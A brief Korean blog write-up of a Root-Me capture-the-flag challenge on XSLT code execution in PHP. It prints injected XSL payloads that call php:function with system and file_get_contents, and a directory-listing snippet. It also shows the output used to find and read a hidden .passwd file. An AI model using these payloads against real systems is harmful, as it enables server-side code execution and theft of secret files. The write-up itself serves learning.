ROOTME] XSLT - Code execution

woounnan·2020년 3월 11일
1

wargame

목록 보기
17/59
post-thumbnail

문제

XSL 파일을 select 형식으로 입력받아 해당 XSL stylesheet로 문서를 변환하여 출력해준다.


풀이

파일명을 임의로 설정 가능하므로 내 서버의 파일을 업로드 시키는 Remote XSL Injection을 시도해볼 수 있겠다.

.passwd의 파일을 읽는 것이 목적이므로 php function을 실행시키는 구문을 이용하여 .passwd 파일을 찾아야 한다.

<xsl:value-of select="php:function('system', 'ls -al')"/>

하지만 동작하지 않았다.
그 외에도 scandir 을 시도했으나 마찬가지로 실패하였다.

https://stackoverflow.com/questions/15774669/list-all-files-in-one-directory-php

Check this out : readdir()
This bit of code should list all entries in a certain directory:

if ($handle = opendir('.')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            echo "$entry\n";
        }
    }
    closedir($handle);
}

해당 function을 이용하니 정상적으로 파일 목록이 출력되었다.
출력된 파일 목록 중 해시로 된 디렉토리 명이 보였고,

Resource id #6..##### beers.xml##### ._nginx.http-level.inc##### style1.xsl##### ._nginx.server-level.inc##### style2.xsl##### ._firewall##### .##### style3.xsl##### index.php##### ._php-fpm.pool.inc##### .6ff3200bee785801f420fba826ffcdee#####

해당 디렉토리에서 .passwd를 확인할 수 있었다.

Resource id #7..@@@@@ .passwd@@@@@ .@@@@@ false@@@@@

해당 파일을 확인하자

<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>

0개의 댓글